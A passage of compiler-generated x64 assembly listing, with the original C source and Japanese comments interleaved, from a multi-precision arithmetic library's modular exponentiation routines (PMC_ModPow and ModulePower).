$LN13@PMC_ModPow:
; 564 : }
; 565 : }
jmp $LN11@PMC_ModPow
$LN10@PMC_ModPow:
; 566 : else if (v->IS_ONE)
mov rax, QWORD PTR v$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 2
and eax, 1
test eax, eax
je SHORT $LN14@PMC_ModPow
; 567 : {
; 568 : // v が 1 の場合
; 569 :
; 570 : // 1 を何乗しても 1 であり、1 を 2 以上の数で割ればその剰余は必ず 1 となる
; 571 : *r = &number_one;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_one
mov QWORD PTR [rax], rcx
; 572 : }
jmp $LN15@PMC_ModPow
$LN14@PMC_ModPow:
; 573 : else
; 574 : {
; 575 : // v が 2 以上の場合
; 576 : if (e->IS_ZERO)
mov rax, QWORD PTR e$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN16@PMC_ModPow
; 577 : {
; 578 : // e が 0 の場合
; 579 : *r = &number_one;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_one
mov QWORD PTR [rax], rcx
; 580 : }
jmp SHORT $LN17@PMC_ModPow
$LN16@PMC_ModPow:
; 581 : else if (e->IS_ONE)
mov rax, QWORD PTR e$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 2
and eax, 1
test eax, eax
je SHORT $LN18@PMC_ModPow
; 582 : {
; 583 : // e が 1 の場合
; 584 :
; 585 : // v % m を計算して返す
; 586 : if ((result = Remainder(v, m, r)) != PMC_STATUS_OK)
mov r8, QWORD PTR r$[rbp]
mov rdx, QWORD PTR m$[rbp]
mov rcx, QWORD PTR v$[rbp]
call Remainder
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN20@PMC_ModPow
; 587 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN20@PMC_ModPow:
; 588 : }
jmp SHORT $LN19@PMC_ModPow
$LN18@PMC_ModPow:
; 589 : else
; 590 : {
; 591 : // v、e、m がすべて 2 以上である場合
; 592 : // v の e 乗 の m による剰余を計算して返す
; 593 : if ((result = ModulePower(v, e, m, r)) != PMC_STATUS_OK)
mov r9, QWORD PTR r$[rbp]
mov r8, QWORD PTR m$[rbp]
mov rdx, QWORD PTR e$[rbp]
mov rcx, QWORD PTR v$[rbp]
call ModulePower
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN21@PMC_ModPow
; 594 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN21@PMC_ModPow:
$LN19@PMC_ModPow:
$LN17@PMC_ModPow:
$LN15@PMC_ModPow:
$LN11@PMC_ModPow:
$LN5@PMC_ModPow:
$LN3@PMC_ModPow:
; 595 : }
; 596 : }
; 597 : }
; 598 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_ModPow:
; 599 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
PMC_ModPow_X_X_X_Imp ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT ModulePower
_TEXT SEGMENT
result$ = 4
m_buf$ = 40
m_count$ = 72
v_2_bit_count$ = 104
v_2_buf_code$ = 136
v_2_buf_words$ = 168
v_2_buf$ = 200
work_1_bit_count$ = 232
work_1_buf_code$ = 264
work_1_buf_words$ = 296
work_1_buf$ = 328
work_2_bit_count$ = 360
work_2_buf_code$ = 392
work_2_buf_words$ = 424
work_2_buf$ = 456
work_v_bit_count$ = 488
work_v_buf_code$ = 520
work_v_buf_words$ = 552
work_v_buf$ = 584
q_buf_bit_count$ = 616
q_buf_code$ = 648
q_buf_words$ = 680
q_buf$ = 712
r_bit_count$ = 744
r_check_code$ = 776
v_count$ = 808
cmp$ = 836
e_count$ = 872
e_mask$ = 904
u_ptr$ = 936
v_ptr$ = 968
w_ptr$ = 1000
u_count$ = 1032
v$ = 1664
e$ = 1672
m$ = 1680
r$ = 1688
ModulePower PROC ; COMDAT
; 162 : {
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 1704 ; 000006a8H
lea rbp, QWORD PTR [rsp+64]
mov rdi, rsp
mov ecx, 426 ; 000001aaH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+1736]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 163 : #ifdef DO_TRACE
; 164 : ReportIN(v, e, m);
; 165 : #endif
; 166 : PMC_STATUS_CODE result;
; 167 : __UNIT_TYPE* m_buf = m->BLOCK;
mov rax, QWORD PTR m$[rbp]
mov rax, QWORD PTR [rax+56]
mov QWORD PTR m_buf$[rbp], rax
; 168 : __UNIT_TYPE m_count = m->UNIT_WORD_COUNT;
mov rax, QWORD PTR m$[rbp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR m_count$[rbp], rax
; 169 :
; 170 : // 作業域を獲得する
; 171 :
; 172 : __UNIT_TYPE v_2_bit_count = v->UNIT_WORD_COUNT * __UNIT_TYPE_BIT_COUNT + __UNIT_TYPE_BIT_COUNT;
mov rax, QWORD PTR v$[rbp]
imul rax, QWORD PTR [rax+8], 64 ; 00000040H
add rax, 64 ; 00000040H
mov QWORD PTR v_2_bit_count$[rbp], rax
; 173 : __UNIT_TYPE v_2_buf_code;
; 174 : __UNIT_TYPE v_2_buf_words;
; 175 : __UNIT_TYPE* v_2_buf = AllocateBlock(v_2_bit_count, &v_2_buf_words, &v_2_buf_code);
lea r8, QWORD PTR v_2_buf_code$[rbp]
lea rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_bit_count$[rbp]
call AllocateBlock
mov QWORD PTR v_2_buf$[rbp], rax
; 176 : if (v_2_buf == NULL)
cmp QWORD PTR v_2_buf$[rbp], 0
jne SHORT $LN10@ModulePowe
; 177 : {
; 178 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN10@ModulePowe:
; 179 : }
; 180 :
; 181 : __UNIT_TYPE work_1_bit_count = m_count * 2 * __UNIT_TYPE_BIT_COUNT + __UNIT_TYPE_BIT_COUNT;
mov rax, QWORD PTR m_count$[rbp]
shl rax, 1
imul rax, rax, 64 ; 00000040H
add rax, 64 ; 00000040H
mov QWORD PTR work_1_bit_count$[rbp], rax
; 182 : __UNIT_TYPE work_1_buf_code;
; 183 : __UNIT_TYPE work_1_buf_words;
; 184 : __UNIT_TYPE* work_1_buf = AllocateBlock(work_1_bit_count, &work_1_buf_words, &work_1_buf_code);
lea r8, QWORD PTR work_1_buf_code$[rbp]
lea rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_bit_count$[rbp]
call AllocateBlock
mov QWORD PTR work_1_buf$[rbp], rax
; 185 : if (work_1_buf == NULL)
cmp QWORD PTR work_1_buf$[rbp], 0
jne SHORT $LN11@ModulePowe
; 186 : {
; 187 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 188 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN11@ModulePowe:
; 189 : }
; 190 :
; 191 : __UNIT_TYPE work_2_bit_count = m_count * 2 * __UNIT_TYPE_BIT_COUNT + __UNIT_TYPE_BIT_COUNT;
mov rax, QWORD PTR m_count$[rbp]
shl rax, 1
imul rax, rax, 64 ; 00000040H
add rax, 64 ; 00000040H
mov QWORD PTR work_2_bit_count$[rbp], rax
; 192 : __UNIT_TYPE work_2_buf_code;
; 193 : __UNIT_TYPE work_2_buf_words;
; 194 : __UNIT_TYPE* work_2_buf = AllocateBlock(work_2_bit_count, &work_2_buf_words, &work_2_buf_code);
lea r8, QWORD PTR work_2_buf_code$[rbp]
lea rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_bit_count$[rbp]
call AllocateBlock
mov QWORD PTR work_2_buf$[rbp], rax
; 195 : if (work_2_buf == NULL)
cmp QWORD PTR work_2_buf$[rbp], 0
jne SHORT $LN12@ModulePowe
; 196 : {
; 197 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 198 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 199 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN12@ModulePowe:
; 200 : }
; 201 :
; 202 : __UNIT_TYPE work_v_bit_count = m_count * __UNIT_TYPE_BIT_COUNT;
imul rax, QWORD PTR m_count$[rbp], 64 ; 00000040H
mov QWORD PTR work_v_bit_count$[rbp], rax
; 203 : __UNIT_TYPE work_v_buf_code;
; 204 : __UNIT_TYPE work_v_buf_words;
; 205 : __UNIT_TYPE* work_v_buf = AllocateBlock(work_v_bit_count, &work_v_buf_words, &work_v_buf_code);
lea r8, QWORD PTR work_v_buf_code$[rbp]
lea rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_bit_count$[rbp]
call AllocateBlock
mov QWORD PTR work_v_buf$[rbp], rax
; 206 : if (work_v_buf == NULL)
cmp QWORD PTR work_v_buf$[rbp], 0
jne SHORT $LN13@ModulePowe
; 207 : {
; 208 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 209 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 210 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 211 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN13@ModulePowe:
; 212 : }
; 213 :
; 214 : __UNIT_TYPE q_buf_bit_count = _MAXIMUM_UNIT(v->UNIT_BIT_COUNT, m->UNIT_BIT_COUNT * 2) - m->UNIT_BIT_COUNT + 1 + __UNIT_TYPE_BIT_COUNT;
mov rax, QWORD PTR m$[rbp]
mov rax, QWORD PTR [rax+16]
shl rax, 1
mov rdx, rax
mov rax, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rax+16]
call _MAXIMUM_UNIT
mov rcx, QWORD PTR m$[rbp]
sub rax, QWORD PTR [rcx+16]
add rax, 65 ; 00000041H
mov QWORD PTR q_buf_bit_count$[rbp], rax
; 215 : __UNIT_TYPE q_buf_code;
; 216 : __UNIT_TYPE q_buf_words;
; 217 : __UNIT_TYPE* q_buf = AllocateBlock(q_buf_bit_count, &q_buf_words, &q_buf_code);
lea r8, QWORD PTR q_buf_code$[rbp]
lea rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf_bit_count$[rbp]
call AllocateBlock
mov QWORD PTR q_buf$[rbp], rax
; 218 : if (q_buf == NULL)
cmp QWORD PTR q_buf$[rbp], 0
jne SHORT $LN14@ModulePowe
; 219 : {
; 220 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 221 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 222 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 223 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 224 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN14@ModulePowe:
; 225 : }
; 226 :
; 227 : __UNIT_TYPE r_bit_count = m->UNIT_BIT_COUNT;
mov rax, QWORD PTR m$[rbp]
mov rax, QWORD PTR [rax+16]
mov QWORD PTR r_bit_count$[rbp], rax
; 228 : __UNIT_TYPE r_check_code;
; 229 : if ((result = AllocateNumber(r, r_bit_count, &r_check_code)) != PMC_STATUS_OK)
lea r8, QWORD PTR r_check_code$[rbp]
mov rdx, QWORD PTR r_bit_count$[rbp]
mov rcx, QWORD PTR r$[rbp]
call AllocateNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN15@ModulePowe
; 230 : {
; 231 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 232 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 233 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 234 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 235 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 236 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@ModulePowe
$LN15@ModulePowe:
; 237 : }
; 238 :
; 239 : __UNIT_TYPE v_count;
; 240 : int cmp = Compare_Easy(v->BLOCK, v->UNIT_WORD_COUNT, m_buf, m_count);
mov r9, QWORD PTR m_count$[rbp]
mov r8, QWORD PTR m_buf$[rbp]
mov rax, QWORD PTR v$[rbp]
mov rdx, QWORD PTR [rax+8]
mov rax, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rax+56]
call Compare_Easy
mov DWORD PTR cmp$[rbp], eax
; 241 : if (cmp == 0)
cmp DWORD PTR cmp$[rbp], 0
jne $LN16@ModulePowe
; 242 : {
; 243 : // v == m である場合
; 244 :
; 245 : // v を何乗してもその剰余は 0 であるため、0 を返す。
; 246 :
; 247 : DeallocateNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call DeallocateNumber
; 248 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 249 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 250 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 251 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 252 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 253 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
; 254 : #ifdef DO_TRACE
; 255 : ReportOUT(*r);
; 256 : #endif
; 257 : return (PMC_STATUS_OK);
xor eax, eax
jmp $LN1@ModulePowe
; 258 : }
jmp $LN17@ModulePowe
$LN16@ModulePowe:
; 259 : else if (cmp > 0)
cmp DWORD PTR cmp$[rbp], 0
jle $LN18@ModulePowe
; 260 : {
; 261 : // v > m である場合
; 262 :
; 263 : // v2 を v % m に設定する。
; 264 :
; 265 : DivRem_X_X(v->BLOCK, v->UNIT_WORD_COUNT, m_buf, m_count, work_v_buf, q_buf, v_2_buf);
mov rax, QWORD PTR v_2_buf$[rbp]
mov QWORD PTR [rsp+48], rax
mov rax, QWORD PTR q_buf$[rbp]
mov QWORD PTR [rsp+40], rax
mov rax, QWORD PTR work_v_buf$[rbp]
mov QWORD PTR [rsp+32], rax
mov r9, QWORD PTR m_count$[rbp]
mov r8, QWORD PTR m_buf$[rbp]
mov rax, QWORD PTR v$[rbp]
mov rdx, QWORD PTR [rax+8]
mov rax, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rax+56]
call DivRem_X_X
; 266 : if ((result = CheckBlockLight(work_v_buf, work_v_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_v_buf_code$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN20@ModulePowe
; 267 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN20@ModulePowe:
; 268 : if ((result = CheckBlockLight(q_buf, q_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR q_buf_code$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN21@ModulePowe
; 269 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN21@ModulePowe:
; 270 : if ((result = CheckBlockLight(v_2_buf, v_2_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR v_2_buf_code$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN22@ModulePowe
; 271 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN22@ModulePowe:
; 272 : v_count = m_count;
mov rax, QWORD PTR m_count$[rbp]
mov QWORD PTR v_count$[rbp], rax
$LN2@ModulePowe:
; 273 : while (v_count > 0 && v_2_buf[v_count - 1] == 0)
cmp QWORD PTR v_count$[rbp], 0
jbe SHORT $LN3@ModulePowe
mov rax, QWORD PTR v_2_buf$[rbp]
mov rcx, QWORD PTR v_count$[rbp]
cmp QWORD PTR [rax+rcx*8-8], 0
jne SHORT $LN3@ModulePowe
; 274 : --v_count;
mov rax, QWORD PTR v_count$[rbp]
dec rax
mov QWORD PTR v_count$[rbp], rax
jmp SHORT $LN2@ModulePowe
$LN3@ModulePowe:
; 275 :
; 276 : if (v_count <= 0)
cmp QWORD PTR v_count$[rbp], 0
ja $LN23@ModulePowe
; 277 : {
; 278 : // v2 が 0 になってしまった場合はべき乗を繰り返しても 0 になることが確定なので 0 を返す
; 279 : DeallocateNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call DeallocateNumber
; 280 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 281 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 282 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 283 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 284 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 285 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
; 286 : #ifdef DO_TRACE
; 287 : ReportOUT(*r);
; 288 : #endif
; 289 : return (PMC_STATUS_OK);
xor eax, eax
jmp $LN1@ModulePowe
$LN23@ModulePowe:
; 290 : }
; 291 : }
jmp SHORT $LN19@ModulePowe
$LN18@ModulePowe:
; 292 : else
; 293 : {
; 294 : // v2 を v に設定する。
; 295 :
; 296 : _COPY_MEMORY_UNIT(v_2_buf, v->BLOCK, v->UNIT_WORD_COUNT);
mov rax, QWORD PTR v$[rbp]
mov r8, QWORD PTR [rax+8]
mov rax, QWORD PTR v$[rbp]
mov rdx, QWORD PTR [rax+56]
mov rcx, QWORD PTR v_2_buf$[rbp]
call _COPY_MEMORY_UNIT
; 297 : v_count = v->UNIT_WORD_COUNT;
mov rax, QWORD PTR v$[rbp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR v_count$[rbp], rax
$LN19@ModulePowe:
$LN17@ModulePowe:
; 298 : }
; 299 :
; 300 : #ifdef DO_TRACE
; 301 : ReportLabel("vの初期化");
; 302 : ReportDump("v", v_2_buf, v_count);
; 303 : #endif
; 304 : __UNIT_TYPE e_count = e->UNIT_WORD_COUNT;
mov rax, QWORD PTR e$[rbp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR e_count$[rbp], rax
; 305 : __UNIT_TYPE e_mask = ~((__UNIT_TYPE)-1 >> 1);
mov rax, -9223372036854775808 ; 8000000000000000H
mov QWORD PTR e_mask$[rbp], rax
; 306 : e_mask = e_mask >> _LZCNT_ALT_UNIT(e->BLOCK[e_count - 1]);
mov rax, QWORD PTR e$[rbp]
mov rax, QWORD PTR [rax+56]
mov rcx, QWORD PTR e_count$[rbp]
mov rcx, QWORD PTR [rax+rcx*8-8]
call _LZCNT_ALT_UNIT
movzx ecx, al
mov rax, QWORD PTR e_mask$[rbp]
shr rax, cl
mov QWORD PTR e_mask$[rbp], rax
; 307 : // e_mask は e の最上位 bit を示しているはず
; 308 : // かつ、e は 2以上であるので、同時に最下位 bit であることはあり得ない
; 309 : _COPY_MEMORY_UNIT(work_1_buf, v_2_buf, m_count);
mov r8, QWORD PTR m_count$[rbp]
mov rdx, QWORD PTR v_2_buf$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call _COPY_MEMORY_UNIT
; 310 :
; 311 : #ifdef _DEBUG
; 312 : if ((e_mask & e->BLOCK[e_count - 1]) == 0)
mov rax, QWORD PTR e$[rbp]
mov rax, QWORD PTR [rax+56]
mov rcx, QWORD PTR e_count$[rbp]
mov rax, QWORD PTR [rax+rcx*8-8]
mov rcx, QWORD PTR e_mask$[rbp]
and rcx, rax
mov rax, rcx
test rax, rax
jne SHORT $LN24@ModulePowe
; 313 : *((int*)0) = 0;
mov DWORD PTR ds:0, 0
$LN24@ModulePowe:
; 314 : #endif
; 315 :
; 316 : __UNIT_TYPE* u_ptr = work_1_buf;
mov rax, QWORD PTR work_1_buf$[rbp]
mov QWORD PTR u_ptr$[rbp], rax
; 317 : __UNIT_TYPE* v_ptr = v_2_buf;
mov rax, QWORD PTR v_2_buf$[rbp]
mov QWORD PTR v_ptr$[rbp], rax
; 318 : __UNIT_TYPE* w_ptr = work_2_buf;
mov rax, QWORD PTR work_2_buf$[rbp]
mov QWORD PTR w_ptr$[rbp], rax
; 319 : __UNIT_TYPE u_count = v_count;
mov rax, QWORD PTR v_count$[rbp]
mov QWORD PTR u_count$[rbp], rax
$LN4@ModulePowe:
; 320 :
; 321 : while (e_count > 0)
cmp QWORD PTR e_count$[rbp], 0
jbe $LN5@ModulePowe
; 322 : {
; 323 : #ifdef DO_TRACE
; 324 : ReportLabel("ループ開始");
; 325 : ReportVar("e_count", e_count);
; 326 : ReportVar("e_mask", e_mask);
; 327 : #endif
; 328 :
; 329 : // 次の桁の準備をする
; 330 : e_mask >>= 1;
mov rax, QWORD PTR e_mask$[rbp]
shr rax, 1
mov QWORD PTR e_mask$[rbp], rax
; 331 : if (e_mask == 0)
cmp QWORD PTR e_mask$[rbp], 0
jne SHORT $LN25@ModulePowe
; 332 : {
; 333 : e_mask = ~((__UNIT_TYPE)-1 >> 1);
mov rax, -9223372036854775808 ; 8000000000000000H
mov QWORD PTR e_mask$[rbp], rax
; 334 : --e_count;
mov rax, QWORD PTR e_count$[rbp]
dec rax
mov QWORD PTR e_count$[rbp], rax
$LN25@ModulePowe:
; 335 : }
; 336 :
; 337 : if (e_count <= 0)
cmp QWORD PTR e_count$[rbp], 0
ja SHORT $LN26@ModulePowe
; 338 : break;
jmp $LN5@ModulePowe
$LN26@ModulePowe:
; 339 :
; 340 : #ifdef DO_TRACE
; 341 : ReportLabel("e の更新");
; 342 : ReportVar("e_count", e_count);
; 343 : ReportVar("e_mask", e_mask);
; 344 : #endif
; 345 :
; 346 : // w := u * u を計算する
; 347 : #ifdef DO_TRACE
; 348 : ReportLabel("w := u * u");
; 349 : ReportDump("u", u_ptr, u_count);
; 350 : #endif
; 351 : _ZERO_MEMORY_UNIT(w_ptr, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR w_ptr$[rbp]
call _ZERO_MEMORY_UNIT
; 352 : Multiply_X_X_Imp(u_ptr, u_count, u_ptr, u_count, w_ptr);
mov rax, QWORD PTR w_ptr$[rbp]
mov QWORD PTR [rsp+32], rax
mov r9, QWORD PTR u_count$[rbp]
mov r8, QWORD PTR u_ptr$[rbp]
mov rdx, QWORD PTR u_count$[rbp]
mov rcx, QWORD PTR u_ptr$[rbp]
call Multiply_X_X_Imp
; 353 : if ((result = CheckBlockLight(work_1_buf, work_1_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_1_buf_code$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN27@ModulePowe
; 354 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN27@ModulePowe:
; 355 : if ((result = CheckBlockLight(work_2_buf, work_2_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_2_buf_code$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN28@ModulePowe
; 356 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN28@ModulePowe:
; 357 : SwapPointer(&u_ptr, &w_ptr);
lea rdx, QWORD PTR w_ptr$[rbp]
lea rcx, QWORD PTR u_ptr$[rbp]
call SwapPointer
; 358 : u_count *= 2;
mov rax, QWORD PTR u_count$[rbp]
add rax, rax
mov QWORD PTR u_count$[rbp], rax
; 359 : if (u_ptr[u_count - 1] == 0)
mov rax, QWORD PTR u_ptr$[rbp]
mov rcx, QWORD PTR u_count$[rbp]
cmp QWORD PTR [rax+rcx*8-8], 0
jne SHORT $LN29@ModulePowe
; 360 : --u_count;
mov rax, QWORD PTR u_count$[rbp]
dec rax
mov QWORD PTR u_count$[rbp], rax
$LN29@ModulePowe:
; 361 : #ifdef DO_TRACE
; 362 : ReportDump("w", u_ptr, u_count);
; 363 : #endif
; 364 :
; 365 : // w := u % m を計算する
; 366 : #ifdef DO_TRACE
; 367 : ReportLabel("w := u % m");
; 368 : ReportDump("u", u_ptr, u_count);
; 369 : ReportDump("m", m_buf, m_count);
; 370 : #endif
; 371 : if (u_count >= m_count)
mov rax, QWORD PTR m_count$[rbp]
cmp QWORD PTR u_count$[rbp], rax
jb $LN30@ModulePowe
; 372 : {
; 373 : _ZERO_MEMORY_UNIT(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call _ZERO_MEMORY_UNIT
; 374 : _ZERO_MEMORY_UNIT(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call _ZERO_MEMORY_UNIT
; 375 : _ZERO_MEMORY_UNIT(w_ptr, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR w_ptr$[rbp]
call _ZERO_MEMORY_UNIT
; 376 : DivRem_X_X(u_ptr, u_count, m_buf, m_count, work_v_buf, q_buf, w_ptr);
mov rax, QWORD PTR w_ptr$[rbp]
mov QWORD PTR [rsp+48], rax
mov rax, QWORD PTR q_buf$[rbp]
mov QWORD PTR [rsp+40], rax
mov rax, QWORD PTR work_v_buf$[rbp]
mov QWORD PTR [rsp+32], rax
mov r9, QWORD PTR m_count$[rbp]
mov r8, QWORD PTR m_buf$[rbp]
mov rdx, QWORD PTR u_count$[rbp]
mov rcx, QWORD PTR u_ptr$[rbp]
call DivRem_X_X
; 377 : if ((result = CheckBlockLight(work_v_buf, work_v_buf_code)) != PMC_STATUS_OK)
